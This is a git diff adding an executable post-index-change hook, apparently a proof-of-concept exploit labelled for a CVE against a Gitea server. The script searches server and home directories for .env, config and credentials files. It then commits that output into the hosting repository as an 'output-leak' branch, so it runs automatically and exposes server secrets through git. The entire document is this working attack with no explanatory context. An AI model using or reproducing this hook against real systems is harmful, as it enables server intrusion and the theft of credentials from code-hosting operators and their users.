diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000..8f567fd
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,9 @@
+#!/bin/sh
+GD=$(git rev-parse --absolute-git-dir)
+REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
+OUT=$(find /var/lib/gitea -name '*.ini' -o -name '*.conf' -o -name '*.env' -o -name '.env' 2>/dev/null | head -20; echo ==; find /home -name '.env' -o -name '*.conf' -o -name 'config*' -o -name 'credentials*' 2>/dev/null | head -20 2>&1; echo "[exit-status=$?]")
+BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
+TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
+CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output")
+git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
+#A